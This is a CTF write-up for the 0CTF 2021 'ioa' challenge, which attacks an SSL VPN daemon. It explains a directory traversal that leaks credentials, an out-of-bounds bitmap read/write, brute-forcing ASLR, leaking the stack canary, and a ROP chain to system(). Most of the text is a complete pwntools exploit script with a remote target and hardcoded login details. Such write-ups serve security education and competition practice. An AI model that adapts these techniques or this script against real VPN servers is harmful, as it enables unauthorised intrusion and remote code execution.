0CTF 2021 Quals “ioa” writeup

0x1 Directory traversal

We were given a simple ssl vpn server and we need to pwn it somehow. Good thing is this binary has symbols intact, a little bit easier for reversing.

Basically, this ssl vpn server requires you to login in order to connect to intranet or do something funny, so we need to somehow leak username and password from target server.

What’s your best bet on leaking files from a https server? Yes, directory traversal!

Since our password file located in ../user.txt, we can try to access it directly:

Tips: use %2e%2e to bypass restrictions.

0x2 OOB R/W

Now we’ve got username and password, time to pwn sslvpn server!

The simple oob bug is in function is_vip_inuse ,set_vip_bitmap and clear_vip_bitmap.

int *__fastcall set_vip_bitmap(int a1)
{
  int *result; // rax
  int v2; // [rsp+8h] [rbp-Ch]

  v2 = a1 - (dhcp_pool.vip.ipaddr & dhcp_pool.vip.mask);
  result = (int *)(unsigned int)dhcp_pool.total_bits;
  if ( v2 >= dhcp_pool.total_bits )
    return result;
  result = &dhcp_pool.bits[(int)((unsigned __int64)v2 >> 5)];
  *result &= ~(1 << (v2 & 0x1F)); // oob write 0
  return result;
}

int *__fastcall clear_vip_bitmap(int a1)
{
  int *result; // rax
  int v2; // [rsp+8h] [rbp-Ch]

  v2 = a1 - (dhcp_pool.vip.ipaddr & dhcp_pool.vip.mask);
  result = (int *)(unsigned int)dhcp_pool.total_bits;
  if ( v2 >= dhcp_pool.total_bits )
    return result;
  result = &dhcp_pool.bits[(int)((unsigned __int64)v2 >> 5)];
  *result |= 1 << (v2 & 0x1F); // oob write 1
  return result;
}

unsigned int __fastcall is_vip_inuse(int a1)
{
  unsigned int result; // eax
  int v2; // [rsp+8h] [rbp-Ch]

  v2 = a1 - (dhcp_pool.vip.ipaddr & dhcp_pool.vip.mask);
  if ( v2 >= dhcp_pool.total_bits )
    result = -1;
  else
    result = (dhcp_pool.bits[(int)((unsigned __int64)v2 >> 5)] & (1 << (v2 & 0x1F))) == 0; // oob read here
  return result;
}

These functions take 1 argument that we can control, read/write bits based on argument 1 after a check. The simple total bits check is bypassable if we send number lower than dhcp_pool.vip.ipaddr & dhcp_pool.vip.mask, resulting oob read/write memory bits before dhcp_pool.bits.

dhcp_pool.vip.ipaddr & dhcp_pool.vip.mask is actually a static number, represents binary format of subnet 172.31.0.0/16.

0x3 Leak?

Since the whole binary is PIE, we need to somehow leak some address from server to build exploit.

Let’s inspect if there’re any interesting pointer before dhcp_pool.bits.

Nice, we can leak heap address by reading backwards!

However, I didn’t find anything related to base address of .text in heap, how to leak base address?

Just bruteforce!

Yes, you heard it right, we can just bruteforce the ASLR! Because actual process handling our packets are forked from original process, ASLR doesn’t change at all! Just keep scanning backward, sooner or later you’ll landed at .text segment!

The gap between our bits data and actual heap leak isn’t working in actual remote server during CTF, I had to dump all heap data to inspect correct gap.:(

0x4 Stack overflow show time

Since we now have program base address, we can overwrite anything in data/bss. You may wanna overwrite dhcp_pool.bits, but keep in mind that we can only write 1 bit per packet, which obviously will crash program next packet if we overwrite dhcp_pool.bits.

Let’s look at code snip at req_vip.

    v4 = 8 * (LOWORD(dhcp_pool.cnt) + 2);    
    v24 = 0xDEADBEEF; // stack variable v24
    v25 = htons(v4);
    v26 = 1;
    v27 = htonl(hostlonga);
    v28 = htonl(dhcp_pool.vip.mask);
    for ( k = 0; k < dhcp_pool.cnt; ++k )
    {
      *(&v24 + 2 * k + 4) = htonl(dhcp_pool.items[k]->ipaddr); // write something to stack
      *(&v24 + 2 * k + 5) = htonl(dhcp_pool.items[k]->mask);
    }
    buffer_push(&a1->sendbuf, &v24, v4);

If we overwrite dhcp_pool.cnt, we can force req_vip to write out of bounds which leads to stack overflow!

So we must leak canary somehow.

Look at code above another time, did you noticed that type of loop variable k is int? If we modify dhcp_pool.cnt to some negative value while keeping v4 positive and larger, we won’t enter for loop but we can receive large amount of stack data!

0x5 Exploit!

After leaking canary from stack, everything is ready, so just rop to system and execute getflag bin!

By redirecting getflag output to a text file, we can read flag via https service!

Full exploit:

from pwn import *

debug = 1

context.arch = 'amd64'


# gdbserver --attach 0.0.0.0:2222 $(ps -C sslvpnd -o pid |tail -n 1)
# docker exec -it ioa /bin/bash -c "gdbserver --attach 0.0.0.0:2222 \$(ps -C sslvpnd -o pid |tail -n 1)"

def login(level='error') -> remote:
    if debug:
        p = remote('127.0.0.1', 443, ssl=True, level=level)
    else:
        p = remote('111.186.58.249', 36717, ssl=True, level=level)
    data = 'name=rea1user&passwd=re4lp4ssw0rd'
    packet = f'''POST /login HTTP/1.1
Content-Length: {len(data)}

{data}'''.replace('\n', '\r\n')
    p.send(packet)
    p.recvuntil('success')
    return p


def packet_wrap(func):
    def inner(*args, **kwargs):
        _ = func(*args, **kwargs)
        return p32(0xdeadbeef) + p16(len(_) + 6, endian='big') + _

    return inner


@packet_wrap
def check_vip_packet(val):
    return p16(3) + p32(val, endian='big')


@packet_wrap
def req_vip_packet(val):
    return p16(1) + p32(val, endian='big')


@packet_wrap
def kick_out_packet(val, key):
    return p16(4) + p32(val, endian='big') + key


def check_vip(p, val, pack_only=False):
    packet = check_vip_packet(val)
    if not pack_only:
        p.send(packet)
        buf = p.recvn(0xC)
        return u32(buf[-4:])
    else:
        return packet


def req_vip(p, val, pack_only=False):
    packet = req_vip_packet(val)
    if not pack_only:
        p.send(packet)
        buf = p.recvn(4)
        buf = p.recvn(2)
        sz = u16(buf, endian='big')
        buf = p.recvn(sz - 6)

        return buf
    else:
        return packet


def ip2long(ip):
    """
    Convert an IP string to long
    """
    return struct.unpack("!L", socket.inet_aton(ip))[0]


def leak(p, off, sz=8):
    data = []
    off <<= 3
    packets = b''
    for i in range(0, sz):
        # out = 0
        for j in range(8):
            packets += check_vip_packet(base - i * 8 - j - 1 - off)

    p.send(packets)
    for i in range(0, sz):
        out = 0
        for j in range(8):
            buf = p.recvn(0xC)
            r = u32(buf[-4:])
            out <<= 1
            out |= r ^ 1
        data.append(out)
    return bytearray(data)

def kickout(p, val):
    global mkey
    p.send(kick_out_packet(val, mkey))
    buf = p.recvn(0xC)
    return u32(buf[-4:])


def offset(p):
    return (heap - p) << 3

def write_buf(addr, buf, old=None):
    if old is None:
        old = bytes(len(buf))

    for i in range(len(buf)):
        for j in range(8):
            a = (buf[i] >> j) & 1
            b = (old[i] >> j) & 1
            o = base - offset(addr) + (i * 8 + j)
            if a != b:
                if a == 1:
                    kickout(m, o)
                else:
                    t = login('debug')
                    req_vip(t, o)
                    t.close()


m = login()
base = ip2long('172.31.0.0')
crash_first = True
if crash_first:
    try:
        check_vip(m, base - 0xffffff)  # force restart
    except:
        m.close()

    m = login()

e = ELF('./sslvpnd')

if debug:
    heap_param = 15
    heap = 0
    cb = 0 # program base address
else:
    heap_param = 33 # fuck remote heap layout
    heap = 0
    cb = 0
if not heap:
    # for x in range(0x100):
    data = leak(m, heap_param * 16, 8)
    heap = u64(data[:8], endian='big') + 0xc0 + (heap_param - 15) * 0x10

log.success(f'heap: 0x{heap:x}')

if not cb:
    heap_off = heap & 0xffff
    t = 3
    pro = log.progress('Leaking base...')
    while True:
        try:
            t += 1
            tmp = login()
            pro.status(f'Try {t}...')
            off = heap_off + 0x10000 * t
            off <<= 3
            check_vip(tmp, base - off)
            pro.success(f'Try {t}...success')
            cb = heap - heap_off - 0x10000 * t
            break
        except KeyboardInterrupt:
            sys.exit(0)
        except:
            pro.status(f'Try {t}...Fail')
        finally:
            tmp.close()

    pro = log.progress('Leaking accurate base...')
    heap_off = heap - cb
    t = 0
    while True:
        try:
            tmp = login()
            pro.status(f'Try {t}...')
            off = heap_off + 0x1000 * t
            t += 1
            off <<= 3
            check_vip(tmp, base - off)
            pro.status(f'Try {t}...Fail')
        except KeyboardInterrupt:
            sys.exit(0)
        except:
            pro.success(f'Try {t}...success')
            cb = heap - heap_off - 0x1000 * t
            break
        finally:
            tmp.close()
    cb += 0x2000
    log.success(f'base: 0x{cb:x}')


def _(rop_bytes: bytes):
    total = len(rop_bytes)
    _ = b''
    for i in range(0, total, 4):
        _ += rop_bytes[i:i + 4][::-1]
    return _


e.address = cb

master_key = e.symbols['master_key']
dhcp_pool = e.symbols['dhcp_pool']
total_bits = dhcp_pool + 0x14
cnt = dhcp_pool + 0x18
heap_off = heap & 0xfff

# w = login()
# pprint(leak(w, heap - cb - 8))
mkey = leak(m, heap - master_key - 8)[::-1]
log.success(f'mkey : {mkey}')
off = offset(total_bits + 4)
for x in range(32):
    kickout(m, base - off - 2 - x)

log.success('set 0x7ffffff done.')
# overwrite count
for i in [5, 31]:
    kickout(m, base - offset(cnt) + i)
t = login()
canary = u64(req_vip(t, base + 3)[0x92:0x9a])
log.success(f'canary 0x{canary:x}')
t.close()
items = u64(leak(m, heap - dhcp_pool - 0x28)[::-1])
log.success(f'items 0x{items:x}')
r = ROP(e, base=dhcp_pool + 0x200)
r.raw(canary)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(r.ret.address)
r.system("./getflag >q.txt")
final_rop = _(r.chain())

write_buf(dhcp_pool + 0x200, final_rop)
write_buf(dhcp_pool + 0x28,
          p64(items) * 0x10 +
          b''.join([p64(dhcp_pool + 0x200 + i) for i in range(0, len(final_rop), 8)]) +
          p64(items) * 0x20)

write_buf(cnt, p32(0x21), p32(0x80000021))  # this will crash after system

m.interactive()